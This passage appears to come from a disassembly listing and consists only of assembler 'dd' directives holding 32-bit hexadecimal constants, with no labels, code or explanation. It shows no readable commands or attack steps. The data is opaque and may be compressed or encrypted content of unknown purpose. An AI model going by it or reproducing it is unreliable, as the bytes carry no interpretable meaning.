0CC160F51h, 3C896531h, 6293E468h, 48648230h dd 25761CBEh, 27AAD657h, 0B46914D4h, 8B7CC398h, 72CEC8Dh dd 0B58D8813h, 617B538h, 678C438Ah, 73FE62Ah, 3945069Fh dd 376A3DE0h, 0EC092355h, 0CD95B645h, 8221ECB4h, 39005E8Ch dd 0D1E0F9Ch, 30BC84E4h, 0F2FA2CFAh, 97214790h, 8F2E9454h dd 52209DB8h, 70D885ACh, 136CCFE8h, 4BD409A1h, 0CB7F487Ch dd 861F6CB3h, 0F40D4076h, 1C32F03Ah, 0C7157C12h, 0B45DEBF0h dd 0DF9F5887h, 0EA9DE86Dh, 0D6CC74FAh, 0A38B48F1h, 1423E3A0h dd 0D8B2D053h, 15070010h, 4191907Dh, 353B43A6h, 64207642h dd 780FEB2Dh, 0CA990646h, 3B414973h, 419081D8h, 0F2052B33h dd 0C9B367B4h, 25760D0Ch, 0E8A0AC0h, 195B51D2h, 0C44C8A3h dd 0A8A76A2Bh, 0DDD9701h, 78A1FE22h, 6DBA1672h, 0D11AA164h dd 0BBDEh, 25896450h, 1A956A07h, 210B7A21h, 0F2E86589h dd 54E80E4h, 6517A927h, 28F401C0h, 0C5485E8Ch, 0BAA9207h dd 0C260DC15h, 20C1120Dh, 7A15153Ah, 8D5A0242h, 0EB0C5594h dd 80A88612h, 982D0E03h, 0B40DBFDFh, 0EB34E54Dh, 1DEB0825h dd 682B7068h, 0A893E5DCh, 2300CA94h, 838BC327h, 0E1A05B67h dd 0F05B8B1Eh, 96AA0D9Eh, 0A6B4565Bh, 45351414h, 50D86CC2h dd 0F3AA6C38h, 48120875h, 5E038604h, 0F696F52Fh, 334093B6h dd 2E500576h, 0BC5D8A85h, 83113CA8h, 0A4DD0EB8h, 3AE6684Ch dd 0DD2D0BD0h, 84605CB5h, 0D3882F3Ch, 4673018Ch, 0AB32A134h dd 20849064h, 4565604Fh, 0A8EB98A8h, 1660DE3Fh, 0F424A70Dh dd 308DF59Ah, 1704581Ch, 0FF277E64h, 852BE050h, 958EC10h dd 2A2A21EBh, 1C64D0C3h, 6C680014h, 64D92A22h, 1B7510FBh dd 451C0CE4h, 6404F50Fh, 48485D87h, 6063BA23h, 7D10A33Ch dd 0A005DC35h, 0D98E68Fh, 9CC78B57h, 3BB59138h, 0BEEB4BACh dd 6D96E86h, 0F84B2502h, 16D90C36h, 834B607Dh, 1E54017Ch dd 91502015h, 50495308h, 0D18AD876h, 83BBE9BDh, 0CD03C6Ch dd 0F4060C52h, 0A1D23708h, 5DEC102Ch, 0C131414h, 477071Fh dd 0DE9A3DC2h, 0F4822687h, 401BA114h, 0BB9C05A3h, 1547C901h dd 71F06EBh, 0C74148F1h, 0E0500C38h, 0EF4094E6h, 49C32D40h dd 2570E14Bh, 4F410AD9h, 0E2F936A2h, 48538C8Dh, 0F452D868h dd 2584EC04h, 0E0EEBC0h, 52084059h, 8F4ABBB5h, 4B63C102h dd 6568B3CFh, 935664A7h, 0E80F8055h, 0BC942AACh, 50FCC908h dd 0ED88E347h, 826A0037h, 812EC0B9h, 0FC795AA2h, 5D859270h dd 2D73E350h, 0A02EFCA9h, 17749D90h, 0B0FA3415h, 7A019580h dd 94B46869h, 3B3E4BB2h, 70018523h, 6DA10FEh, 1B31F883h dd 6CE26CA5h, 460C5FC9h, 1015FA6Ch, 0A4D87373h, 558DB2BAh dd 528760DFh, 0A3262CADh, 0D95B0F1h, 0E79600F6h, 241AF359h dd 661184C3h, 592A17D5h, 4E40F24Bh, 8A9CC906h, 201650CFh dd 0C2994F12h, 4F907204h, 0ABDC566Ch, 0FC134908h, 8C006A66h dd 1CE6826Ch, 261D149Ch, 0E016F520h, 96121C90h, 87CF8A8Eh dd 6CC9172Ch, 736868F4h, 6827233Fh, 0C2830F68h, 151019EAh dd 7D03652h, 23B99869h, 4648F496h, 95689668h, 652A612Dh dd 88435A07h, 40A84C0h, 10A6F00Dh, 0B5102266h, 0E60B22Bh dd 0A40B139Bh, 0EA26F4E1h, 0E8891E4Ah, 9A258A8h, 48A39224h dd 5046D22h, 0DD35BB69h, 9415D203h, 0EB585764h, 0EC86B3C2h dd 15CC681Ah, 0E98BA959h, 57A2B26Eh, 5CAD8003h, 38C09B01h dd 0AE64287Fh, 5096C05Eh, 95364D55h, 6312343Dh, 1E9FBC97h dd 61B2B512h, 0C8508B3Eh, 9BB09464h, 0F460A30Eh, 0EE290355h dd 580A0AFCh, 0D5638FC1h, 1275889Ah, 4F6402C9h, 8B646018h dd 1036AD84h, 5122FC10h, 10E54738h, 4D8C09EBh, 0E4AC117Eh dd 47EC0D70h, 0C84E410h, 1CC83171h, 0F0AD81FCh, 0FA06C10Fh dd 19300A14h, 95068775h, 3D550938h, 89DC3D10h, 8C278FFh dd 951C63BCh, 98D4C441h, 3F68CA8Dh, 0E8F60464h, 8810458Ah dd 60C6E80Eh, 33184803h, 58D8F8CEh, 0A42AFB1Ch, 456A13F4h dd 7A97572Fh, 0B1112B2Fh, 65F87D08h, 0C860A77Bh, 30118B08h dd 251700C8h, 0FB69C880h, 0F6715AAAh, 0BFD4453Ah, 4418D01Fh dd 0F3149B98h, 8B8236F0h, 59667A7Dh, 0B2E45857h, 0C8C149B7h dd 0B9E1E0D8h, 22FE01E0h, 0D74D446h, 0EB01E657h, 91C5CC17h dd 98BC620h, 9D630AF2h, 0F7491839h, 0F453D43Ch, 6CB3EC6Dh dd 0C8D0D07Ch, 0ECC7359h, 90C55832h, 20F087CCh, 8980A927h dd 591FFD50h, 0E0A10800h, 960C6869h, 11E001A7h, 86D0FF8Ch dd 0D098009Fh, 689F918Dh, 19D5DFCh, 141F4AF0h, 0E792CC25h dd 152A22C8h, 0DB21DCD8h, 0C6B837D8h, 0CC58016Bh, 2D921909h dd 9CD4D80Fh, 0E81B300Ah, 22E9D3F3h, 0CD73051Eh, 3DB61C44h dd 5FD44F3h, 3C1A54D0h, 8C8BC6ECh, 278D0540h, 44E80E8Bh dd 0BF0F7EF0h, 0A500A40h, 0A1038DE9h, 1344732Bh, 26803FEBh dd 8AC490B7h, 0EF00C6C9h, 9709ABC2h, 0C0088A0Eh, 0D3EF0AC1h dd 4D063907h, 0B86040F3h, 5B8F3151h, 147E667h, 0C851AD23h dd 0DB27FD14h, 1C8DDED9h, 6200D92h, 27273024h, 34382727h dd 0C8BD2C28h, 2CCC4160h, 78FB06h, 0A6F10C98h, 3E2BBD32h dd 69DD145Eh, 0B55AB099h, 0F55A022Ch, 0C460038Ah, 269012E7h dd 6974AD8Ch, 5B35AF80h, 4848FDC4h, 233D037Ah, 5A49ABDBh dd 1853C30h, 0A7F1AC19h, 1C196B73h, 9A497E59h, 0EB0D7624h dd 5383416h, 0C7E417EFh, 0BCDE8D85h, 0B0437502h, 0DFA58F04h dd 2C8D8CE2h, 80141888h, 0D6CF613h, 0D4F76BBAh, 0F215204Bh dd 879217BEh, 0E2300023h, 99E88C8h, 47EF027Ah, 30E11918h dd 10DD107Ch, 0DD20C958h, 1C1B896Bh, 0AF191A07h, 34B3BC2Ch dd 30182E8Bh, 8C25815Bh dd 1C20056Ch, 812F1EC3h, 0F8946193h, 0EB2C4F22h, 0B28D9032h dd 684F574Eh, 53DB2072h, 2322EB28h, 22F84014h, 7310530Bh dd 28755E44h, 67860E1Eh, 4E214D56h, 0C94B9D5Bh, 0AE180818h dd 0AA430142h, 0CC49FF92h, 0CC92E4AEh, 0A011805h, 0D981D658h dd 8A103502h, 0CF186177h, 54C2CE0Ah, 413DF03Fh, 0E96D9228h dd 0E50F0E7Fh, 0B8051FE3h, 0F053161Eh, 0F6A38888h, 1B190791h dd 0C0143614h, 29B90927h, 0EC1490E0h, 7530EC25h, 3F632BA4h dd 0A48889ECh, 18261836h, 3A024F63h, 8E92ADE8h, 7058E826h dd 62A82CCAh, 45102C8Ch, 0A69DD0EAh, 0B220B4E4h, 0E2759300h dd 26824FFCh, 0A42B65F4h, 5C2111Ch, 0DF6226A6h, 89DE01D4h dd 0E496EF3Dh, 8B430662h, 1B671442h, 0B5061A84h, 91C6863h dd 310DE809h, 3EC1E207h, 94329B5Dh, 6068599Eh, 25D9A096h dd 0FEECA11Bh, 6D500F0Ch, 1EC2A4B6h, 10EF45A3h, 10A35482h dd 1403BA13h, 0BF557AECh, 13A0EE2Fh, 1ED84B9Ch, 0BD2B2B66h dd 3035F225h, 0CD2E778h, 0EEE4C385h, 1BEB7205h, 2305FB21h dd 0EEE41C93h, 3876038Ah, 20CF5A6Bh, 0B721674h, 20463D98h dd 44DA5D99h, 222CF7ADh, 0E85B8D8Dh, 0B0948A5h, 82345C18h dd 0B36462C2h, 0D5173716h, 304F6CC2h, 0E8A4043Dh, 0C052BC58h dd 0B610D29Bh, 7B270152h, 0B0E1CA93h, 0C8022201h, 3A87901h dd 467BFC58h, 4917C91Bh, 1B758ACEh, 1C016413h, 98745C69h dd 25206D96h, 58C32837h, 0F0112FCh, 0B895E601h, 0CD00F276h dd 0FC101856h, 434B3C80h, 4105915h, 0FB991B01h, 0D46824EBh dd 4B0F1679h, 0DD54E002h, 0BC8392B0h, 96B40492h, 1889A4A4h dd 81B81142h, 310365C4h, 9601B046h, 304D1AE5h, 2F2A1048h dd 0E1EC880Ch, 9534B3CEh, 253D1EBAh, 97B260AFh, 5B081036h dd 91B17359h, 143B160Ch, 28FB3D04h, 3F5C6CBBh, 38752320h dd 53587951h, 0A0BBE31h, 538A7E39h, 132025B6h, 94FEB41h dd 0D796CBA9h, 5A3EC04Bh, 6628761Ah, 28308E2Eh, 79B3B41Ah dd 958F904h, 50C06EEDh, 0EB044604h, 5E2C05C8h, 9843902Dh dd 921CD467h, 2C1EC423h, 67986798h, 912C9087h, 2141003Dh dd 5A25F61Fh, 610A167Eh, 0CAB0347Ch, 7F7AF20Eh, 5420F029h dd 816CB091h, 20812081h, 961E4287h, 4CE796E7h, 5147060Ah dd 180766DCh, 27AA5350h, 0A1E80CF2h, 627FA7E2h, 7445AF0Fh dd 26AD61E5h, 1128C32Bh, 0CC576942h, 0BEE51FA8h, 0C6CFDFE8h dd 0A50CD5BEh, 7DA4A566h, 2A75EEE0h, 1486C98h, 0A78141Fh dd 7C3580F2h, 7755822h, 0B2EE078h, 0BE12D867h, 0A8C9B78Ah dd 0D892ECC9h, 2B1A8D0Fh, 3BCE3DF3h, 0ABE049ECh, 0E820CC28h dd 0DC4FF458h, 7F5342CCh, 3230E80Eh, 5BBB6C43h, 39DA1070h dd 337F6605h, 78E1DCA4h, 0DC68231Bh, 443FDC4Ch, 0DDC8E405h dd 182F6B0Eh, 7537390Bh, 81AD0C09h, 3C3E857Eh, 2B0BEBD5h dd 2D0156Ch, 622BD8CAh, 0F15784EAh, 175D697Ah, 436AECF0h dd 99EAAE30h, 5E5F1A1Ch, 19E4100Bh, 3A6424FCh, 5DB40745h dd 38EC1C83h, 343734DDh, 8118AC0Eh, 10AA5C3Ch, 0D901F2BBh dd 458B7D10h, 6A298914h, 25AC907Ah, 81001B6Ah, 0D8F8838Bh dd 1FB75BBh, 52B48FEh, 78AA9F18h, 40180199h, 0EC4A54C9h dd 0FD872037h, 260EB97Bh, 0A28F610Ch, 87229E0Eh, 36FDB135h dd 4FA7CF90h, 0FE34FE10h, 4486CD0Eh, 9F04683Dh, 36565289h dd 70CDDBBBh, 0E1C71104h, 16220B59h, 75C1C970h, 0A43D9EF8h dd 7508CAE9h, 6D845ECh, 0BC1F92E4h, 1B7E1C9Bh, 9EDC1F17h dd 96132036h, 7D20D051h, 366CBC91h, 67348308h, 622943D9h dd 3D77C4C9h, 59DA003h, 2B0C2000h, 0ECD8EA21h, 68441180h dd 310005FAh, 8D0E2D92h, 525FDD7Ah, 4C7E0305h, 8B54C068h dd 0EBC49713h, 2765C3AAh, 0B2FB2EB4h, 80186791h, 685600A4h dd 0BF54599Ch, 2D0059D4h, 0F7596599h, 8D8BF9h, 0B7FBF62h dd 0F981C82Bh, 0C8057696h, 8C597B59h, 25DF461Eh, 0EDD81366h dd 0F8554C11h, 19459C08h, 399979DEh, 0DBD2F8E8h, 1840154Ah dd 9C671A4Ah, 662E3290h, 0E2F203h, 4A3E0CD0h, 0B748D5B6h dd 11BE233Dh, 0C7BEC259h, 5992DCB5h, 0EC15A834h, 0E7C97929h dd 0F8E4F8E4h, 3BEF8E4h, 60966E66h, 0C5D951F7h, 0B37EE0DAh dd 5B22077h, 3CE01921h, 423CB387h, 858B3DDFh, 7DE3E4A1h dd 621B0014h, 18C8F170h, 5C196090h, 0F93F56h, 50E290E9h dd 54007F9Eh, 840E03BBh, 0C44F480Bh, 55F014A1h, 3C7E4C0h dd 743807F8h, 0BE590C65h, 7EA99E14h, 28B3803Bh, 9DFCBAF6h dd 18F74810h, 5D45AF01h, 20B0FC19h, 0FC3F6F11h, 481EC01Ah dd 2774FE44h, 6CE22530h, 8DBA968h, 584BC4F6h, 0F608C82Ch dd 9E6426A3h, 487202FBh, 0D6509DF7h, 60B0EC20h, 431EFBA7h dd 4B01690Ch, 0F7489C80h, 7B647226h, 76A1D60h, 0F5E8DCEBh dd 0E49E13Bh, 0A580F5E8h, 3D242B25h, 0A00A4DF0h, 480B4B18h dd 12CF3682h, 8CF7F784h, 63964D94h, 0F5E07F9Fh, 0EF5DC2Ch dd 0EFCEFED7h, 0F5DC2C0Bh, 4C7C0005h, 0BC4B2815h, 8D3EA80Eh dd 8B8C3711h, 0DDCA035h, 18BC6690h, 0C8BF7B1Eh, 2118A7C7h dd 18208488h, 9DFBDD3h, 0EB0B9589h, 8D198E9Eh, 0DB7F33B6h dd 2DE8478Ah, 0F70C058Ch, 0D9CD2D9Fh, 0A90335FDh, 85C6AD45h dd 8A2D063Fh, 1EE9DD23h, 5398588h, 33330B8Ah, 2330D0B3h dd 0C81092Dh, 86041202h, 239353A9h, 1117F939h, 3923162Eh dd 1B349239h, 9036603Ah, 6E402093h, 0F491392h, 9DCC31E2h dd 0F1702160h, 0B246C651h, 2F16DDE7h, 0D0F8FE9h, 1631C964h dd 796C25F5h, 1AF21321h, 0A4272025h, 0BC691B84h, 2179019Dh dd 0AC3E011Fh, 1B239DB0h, 97EBAA0Fh, 5CA48C5Bh, 0BE27B198h dd 0A7C80D84h, 2D7F002h, 0D8B091Bh, 23646018h, 2BE8A1B6h dd 0D02C3DC1h, 670577E4h, 9C1CD0D0h, 9D78FFFFh, 5F358B64h dd 98B680Bh, 669D82Ah, 48182E69h, 81491018h, 0D4181919h dd 99ED7FC4h, 12F706A7h, 0A14305h, 44D689EDh, 8525296Ch dd 203D8950h, 0DA6F9982h, 0E530000Ch, 0A610B658h, 0B91B5546h dd 8C284E4h, 514329Dh, 1918902Fh, 4E370C10h, 9C97041h dd 0FC465373h, 0BC49229Ch, 0C3007827h, 0F66E061Ch, 13929B2h dd 7536F057h, 0C49B4B15h, 11E41C80h, 892AB86Dh, 49C7B217h dd 72DE9CD4h, 22724761h, 2034C85Ch, 0E48E40h, 0C8B80916h dd 266120F6h, 6F055516h, 953C9110h, 5601A84Ch, 0C483058h dd 4C3798C8h, 13C41175h, 680DF066h, 0D9CF2201h, 5BF37ED9h dd 76E10211h, 4BC26102h, 42014B88h, 20389D25h, 6A1C7C17h dd 0EC8EC28Bh, 0A607D784h, 813070A2h, 164ABC1h, 18FB9C64h dd 8B3B0B90h, 1E5C88EDh, 0A1F8922Fh, 9C4C6872h, 849C4083h dd 88212C27h, 0FE32F01h, 863018C3h, 852A7034h, 900D2A42h dd 218AE28h, 1AF923Bh, 0F80CAC2Ah, 7A32184Bh, 0FE793101h dd 69E8F39Bh, 744E9076h, 3B39CE2Fh, 0F1980AF0h, 9063032Bh dd 0F6835CAAh, 0AB880410h, 11E029D9h, 71A130Eh, 0FAD90EC8h dd 35D09BE8h, 78101BFCh, 349BE024h, 0A13A8A00h, 0C5A13194h dd 0C013E6D1h, 98A0B481h, 0C5CFA5h, 2428057Bh, 0A3367C1Ah dd 137F1261h, 629BC468h, 0FF252CC4h, 44F4119h, 0A07F293Ch dd 490086E5h, 0F4C879B4h, 9CF5A09Fh, 0F503A4E5h, 0E59CE77Eh dd 5BD8106h, 1CCCB603h, 3F1D7D6Ch, 8046A59Ch, 3B19C111h dd 2B49CAEBh, 0D191792Eh dd 0A4889BD4h, 24C87D9Bh, 121410ACh, 8590394h, 940594C8h dd 478B5EAAh, 0E1227CBh, 18E78690h, 94880E1Ch, 490081E4h dd 0B29B78C9h, 3B990693h, 4764561Bh, 0BC26F181h, 20FD12EBh dd 0C264F241h, 4C9B583Ah, 76A3871Ch, 4C17A920h, 0E12F149Bh dd 204E4253h, 0EF883C43h, 0E42E4272h, 1E572030h, 43640F64h dd 1F018120h, 6552D03h, 2C143203h, 34184EFBh, 78A391E8h dd 799B0889h, 954A9C64h, 9AFC2D0Ah, 2E93C126h, 9AE8B821h dd 7936131Ah, 0EE808C81h, 24DC3536h, 6F20370Ch, 58806364h dd 88BB2392h, 0A9B11FDBh, 1ABB35E8h, 714850Ah, 5670BDF4h dd 9A000768h, 0BC2C92C5h, 0BEEEE09h, 0ED90C124h, 22D08D43h dd 6C064A58h, 0BD714D83h, 105C8324h, 0EC060910h, 61AA9B0Ah dd 6125E5B8h, 0B040984Bh, 201A392Ah, 42A43203h, 2C56E77Ah dd 0A59006C0h, 0A4378405h, 7F7E0286h, 19077610h, 569C01B0h dd 4B09742Fh, 0E348C962h, 21B2DD08h, 9A7C113Bh, 23AC4390h dd 0CD1C0189h, 0C384629Ah, 131FB902h, 40643812h, 3E757C26h dd 8B347CF2h, 9A0CAD34h, 6FC7CFACh, 199A740Bh, 0F29A600Ch dd 0BBD9AA1h, 18A62F68h, 25B7822Ch, 0EB53054Ah, 0EC4484E4h dd 500A5F25h, 0C85C249Ah, 44F94D09h, 0F210E2FDh, 303C201Ch dd 1C80729Ah, 9A24DC40h, 459849Ah, 3926105Ch, 0A64060ABh dd 8B205210h, 8C3C9480h, 0B3085A4h, 0A48C0720h, 65630EB9h dd 4B37011h, 4064A443h, 0E2A33C3Bh, 69B65ACBh, 99D46809h dd 485C9732h, 0A999F23h, 1578042h, 70241B40h, 0F996100h dd 835F99B0h, 0D0E486Ch, 722DA86Ah, 0BEC90D80h, 8C709CACh dd 3E10C09h, 9974682Ah, 91E2791Ch, 0C3215AECh, 70996C62h dd 84C06608h, 260A37C3h, 28D2AF0Bh, 88AC6BC7h, 0D66AA126h dd 72104901h, 0F6225CEEh, 84861E31h, 3A2905A4h, 84C3006Fh dd 25DA014Bh, 80273E4Fh, 84A484A0h, 45EAA1A4h, 16054ABEh dd 5538118h, 0A6A84BE1h, 6417C306h, 7080439h, 3C20BE68h dd 6557B34Bh, 9D04408h, 0B04EC9E4h, 75175689h, 648E7948h dd 4040490h, 0D8132020h, 474FEB2Bh, 0B23B6700h, 4F600C9h dd 565B0050h, 98ECC91Dh, 752D3414h, 0FC3550EFh, 0E0AFC108h dd 89C1D158h, 1AEBFB63h, 438AC89Ch, 0C44F98F6h, 8401C898h dd 0A07CDB91h, 43451EAAh, 0E4F2D691h, 78D732F3h, 7CA07C9Ch dd 6E4308A0h, 7CA55713h, 0C87967A0h, 9BFC1393h, 9C789BFCh dd 163A40B6h, 8F98A810h, 0C00E4056h, 0C098FA42h, 8DF24A12h dd 0C8E1901h, 0A10148Eh, 933CD377h, 746BAD99h, 90646A94h dd 3B375D18h, 2CE68289h, 0CCCF4D20h, 52235FFDh, 8448A28h dd 688588F7h, 0BB991509h, 69F88659h, 56AA580h, 0B2572C32h dd 0FA6BF91Ch, 8032C96Ch, 6EFC6D8Ch, 5CB23200h, 0C8706FFDh dd 0FECB2572h, 72FF71h, 73CE1674h, 13217183h, 50DE8DB2h dd 646B6E0Dh, 68320210h, 61286089h, 0A01CA632h, 6560A544h dd 1D38640Eh, 0BDB38870h, 5C9C64E7h, 260A49Dh, 0F08B1BD4h dd 15217E4Ch, 0F4B1B39h, 832B3402h, 6B53F1C8h, 0B98B830Fh dd 0ED987A5Eh, 4E5B6600h, 0CDB3AFD5h, 5010C620h, 877D9ABh dd 1148F550h, 88C56E10h, 0E9B8E7Ah, 0C81DCC3Bh, 160126D6h dd 0B310C60h, 3D3BFD8Bh, 0B6BC7230h, 892BC083h, 14DBEE08h dd 0C4B3B42Bh, 7643CA1Eh, 0BDF1F0Eh, 0F80934B2h, 0B48B1907h dd 978229Ah, 16E5082h, 35250E0Ch, 74069818h, 0CC480F4h dd 868EB98h, 22B777DDh, 0B326D65h, 6C97E8BBh, 103C804Fh dd 197DC94h, 70BB32h, 97D4243Bh, 4C97C889h, 0A05807D8h dd 3B59C077h, 7205E8C0h, 467EB480h, 0C8580C28h, 924D269Ch dd 0D7082438h, 444E0F95h, 7BF40948h, 6805B58Bh, 325E435Ch dd 19A035E0h, 190B0D27h, 6343203Dh, 0F21720C4h, 88DE8102h dd 3587901Ch, 977C7B19h, 1795022Dh, 39149752h, 98B79BF4h dd 0F4C640D9h, 38140E9Bh, 1874EC9Ch, 0B9208A01h, 19765605h dd 1428DC55h, 0A8C0EC89h, 0BE1F3CDCh, 0DC5465D8h, 3B4E282Ch dd 0C6135527h, 58117374h, 21766C40h, 34407B63h, 655D7B14h dd 1F2429B3h, 8FC9307Bh, 0BD223DEAh, 9BF02305h, 3906C390h dd 1E249BF0h, 264390ECh, 0E834EC19h, 19264390h, 90E42CE8h dd 0E4192643h, 4390E03Ch, 28E01926h, 34CF6BDCh, 0A4EEDC19h dd 221BBF05h, 0EC0BDB23h, 0EEB73C24h, 0D8C8D8C8h, 0E41734B5h dd 2AE00B2Ch, 3CC8C8BDh, 0F2A560DCh, 994A7AB0h, 0E57CEB38h dd 0C88A9700h, 1C675C80h, 894556EAh, 96FCB2E1h, 0C0C40274h dd 3D12873Ch, 0BD980A10h, 2496F092h, 65595B0Fh, 9F11827h dd 46809310h, 460BE003h, 79341330h, 0EDD11508h, 0E2EB9322h dd 41905D08h, 34032396h, 0F9CC2705h, 0F82E0AFDh, 0EB9F4883h dd 0E228FAD0h, 17B23104h, 12C4708Bh, 0D90CFCFFh, 0D8BF62CEh dd 81178B7Fh, 180F0F74h, 403B3C45h, 43E1EB2Eh, 838013E4h dd 9F28DEB5h, 3C96C9ECh, 0EFE00h, 7D8414D6h, 0F9240EC3h dd 548B797Fh, 58B34F4h, 5989015Ch, 0E3B24288h, 0A8EC35FAh dd 7438230Eh, 0EE62839h, 0BEC1B3C2h, 0B0681BAAh, 492CF95Fh dd 0C9A40C04h, 0D0038A25h, 282BF0BDh, 0C52B763Dh, 0A0CF0E73h dd 0F19530Bh, 893B16B1h, 52057F12h, 42020270h, 60A34014h dd 701AB1C9h, 0B3C11FFEh, 74ACEE65h, 0FC45D917h, 1E2041C1h dd 9FBEB51Ch, 0C10C142h, 4E6D5037h, 0EA1DB3B6h, 60061836h dd 0FB187938h, 0C59C7B02h, 569E49FCh, 0E89B24B0h, 0C7C12203h dd 0BA18F7B2h, 5BC1243h, 4ABB3E6h, 885FE5Ch, 5ECB1E07h dd 177C378Eh, 0DD92B02Ah, 941A00EDh, 2F77479Fh, 76FEC560h dd 6ABC7D4Ch, 0F620F68h, 0F2F88B0h, 1FED21C7h, 2567201Ch dd 8A460D80h, 67EC23C8h, 6873EB4Ch, 83782374h, 3C847907h dd 3268684Fh, 84682B75h, 60908F20h, 213AE533h, 1430B253h dd 32791858h, 58185C94h, 64BC7FBDh, 5818064Ah, 5C817FBDh dd 58188320h, 0C8172072h, 81185818h, 5805C81Ch, 6256318h dd 2AA15872h, 62E9AC60h, 3B5C0E21h, 992A642Bh, 75587464h dd 992A6499h, 0A507754h, 1200E40Eh, 6CA38073h, 0FB7E8FEBh dd 67722899h, 0C6A31B2Ah, 0A76514Ch, 2CA49596h, 6A2E94BFh dd 0F4EFBE57h, 0BDDDBA9Bh, 4FC41988h, 5912B9D5h, 71026042h dd 25BA3B24h, 1D11917Ah, 835A3078h, 4C2885D3h, 1C6244C1h dd 9027248Ah, 280184F8h, 0CE83B20Eh, 0C93C9FB4h, 30BE88F7h dd 0EA74A184h, 41B97EA6h, 6401811Bh, 0E9683626h, 2545F736h dd 1499116Bh, 50B732EAh, 53D04449h, 23E40C12h, 101027DFh dd 0A0E7E868h, 604EC0DDh, 1CC0FA12h, 8C8742C0h, 0BBC06B8Dh dd 2A6A2EB8h, 0E8292E1Ch, 9B8899A0h, 0FC521EA0h, 0E345589h dd 1DD9D81Bh, 1797B0FFh, 485B231Ch, 204DEA46h, 0BD81B318h dd 860E2661h, 3B36794Ah, 0A3DE800h, 6083E7E8h, 7D950C15h dd 0A8810EC7h, 67C1757h, 80358045h, 54D21021h, 0E08664DEh dd 0F73BB132h, 724B2C46h, 0A014A883h, 0D9811057h, 8F0C643Ah dd 94E4BB04h, 13FE7C9Bh, 1BB20E0Fh, 1832EB48h, 48F118F1h dd 0FC79219Ch, 9585F6FCh, 6BB1B2Dh, 8E6CD79Ch, 980EA261h dd 0BCEF270Ch, 70C6F67h, 169E6B21h, 0EB230868h, 0C3934185h dd 0EBF5B55Fh, 1D788317h, 10730405h, 6E4E35Ah, 92F6F95Fh dd 0C61F0C01h, 6B9EFDB4h, 3E73F4F1h, 50E11332h, 58C03A15h dd 3DB2C1CBh, 0C023904Ch dd 0FDB0BEC3h, 83FDB04Bh, 0B073B665h, 0C0D81AFDh, 211C074h dd 9FF86732h, 576497C9h, 15FE74F5h, 2E616CF4h, 0F001F439h dd 6426D4A2h, 0FD82E201h, 43055BFDh, 0FDB9FD4Eh, 20C4026Fh dd 603C65FDh, 1BF80C1h, 416A5A35h, 203B0B8Eh, 212A6D78h dd 0E983482Dh, 0E0D2C2E8h, 562DAB2Fh, 0FD2850C0h, 0DFB735A1h dd 75D6AC0h, 95BFE78h, 0BB86620Ch, 0D8680A05h, 0B23B6799h dd 349721E1h, 43DC088Ch, 2C110868h, 0BC0D160h, 0EE93DE8Bh dd 1C882678h, 5DB40868h, 26236680h, 61DB78BCh, 60963DEFh dd 91B0A25h, 0E44206F4h, 0FF4E1C7h, 6C96B300h, 0AFB5EF50h dd 0E1203AFh, 35842BBFh, 6228D553h, 4BD1E640h, 7815C926h dd 37B2F76Dh, 1FB0508h, 7A402111h, 0A393505Fh, 0B350A140h dd 0EAB1B514h, 0C750620Dh, 0C01231EEh, 5B30F73Fh, 0C95A2915h dd 0BC6C3880h, 0C001DF03h, 7D00A4CBh, 7287140Bh, 7A09E28Ch dd 8508AC3h, 0F451D910h, 0A01CF26Bh, 0EFF8A7h, 0B32D54D8h dd 0D031045h, 0C9A41C0h, 0D52B03B8h, 2E116E4Eh, 0EFF8A153h dd 0E08ACDECh, 0F3D0B1E5h, 0E8892D9Ah, 0B40DCC17h, 0D2AF6084h dd 6461F0Dh, 8A324330h, 0B2B6FC28h, 8D3A4258h, 6D908651h dd 931D8B76h, 264AFCFCh, 0FCFC4264h, 91512068h, 13223D9h dd 0C5C672FCh, 0A23F2933h, 21B8B725h, 35200815h, 0B2645021h dd 0EB450843h, 99022B76h, 58B902E4h, 0BB0E034Ah, 1E482E40h dd 34FB281Fh, 9F494096h, 812B749Eh, 2F65AEC2h, 85610C74h dd 61B5A03Ch, 0F4521081h, 948CA056h, 701F384Ch, 4E436C8h dd 0E080C9Bh, 94126102h, 282D51F4h, 0B9268AE7h, 0A24C50E2h dd 7C9C1214h, 1065AB3Dh, 20DFC771h, 762C6830h, 33758E59h dd 0B5106A8Eh, 30553114h, 83E051C0h, 1F640F82h, 64551802h dd 0BC16AF7Bh, 19A2A3Bh, 7357F4D0h, 0F4781923h, 0ECB9DCC8h dd 500F1179h, 0B8C91903h, 94D14B8h, 25515551h, 0E565C94Fh dd 647DF8F8h, 0D1BEA212h, 396A2623h, 0A972306Ah, 3F1B01EAh dd 31753F22h, 2884032Bh, 289EEAC7h, 1381D91Eh, 0C98D14DDh dd 0C73609Bh, 7407E83Eh, 0FF1490A1h, 0A32EF40Bh, 0F171F30h dd 0A16C6C34h, 43A18903h, 2B641ED6h, 0C1207672h, 5C1A05BCh dd 15C94A0Dh, 9ECFBB54h, 236CC25h, 0C2978C7h, 0D000408Bh dd 0D6A2151Eh, 6E5B0E40h, 4C0216B7h, 11200C39h, 150720Dh dd 330A010h, 2644D872h, 0D44B2910h, 1FBEB3B0h, 0B21B2730h dd 8632C8Ch, 91C1218h, 3B058C23h, 86AD0020h, 40225C14h dd 1265B613h, 44B6205Ah, 0AA4D821Dh, 2DBB2049h, 42364419h dd 12D9FDCCh, 90112E83h, 0FEEDAEEDh, 0C9625C32h, 0FEF17AA6h dd 1AFF6B8Bh, 5D9B180Ch, 0B2C8B418h, 0A28B1985h, 64C83CC8h dd 83442B2h, 0F2100CD3h, 180E65B9h, 0B88A504Eh, 9B1B05FDh dd 5B2185Dh, 0F7041A1Ch, 140C8D81h, 0EF1400B5h, 4358A32Ah dd 6938E12Bh, 11152C49h, 0DC1A033Ah, 0EE70703Eh, 0D81EA040h dd 0B4592708h, 26A8B3D0h, 0F8EFEB14h, 0FB03B3C9h, 16A0E862h dd 0A0E0690Ch, 5B6C94B3h, 4015D82Fh, 0DB457B08h, 40C7850Ch dd 8C014203h, 0D4853187h, 8F3E4FA0h, 1B6CA84h, 34FD34E3h dd 0E4BC80FDh, 0FC704742h, 79227279h, 0F81CFC70h, 0E49CF81Ch dd 0F81C0F20h, 0FD30FC94h, 0F90DE229h, 7E0FFC98h, 0ECE49C96h dd 0F4F4150Ah, 0F2390901h, 0FC90E384h, 720FC9Ch, 0FCA0C9E4h dd 0FCA0FC9Ch, 0E41C9479h, 0FC90FCA4h, 0E4F2FC90h, 0FC980073h dd 0FD34FC94h, 1E40555Eh, 0B253FC70h, 0E6849D09h, 15982DEBh dd 0D055F25Bh, 210C3887h, 0C72721A9h, 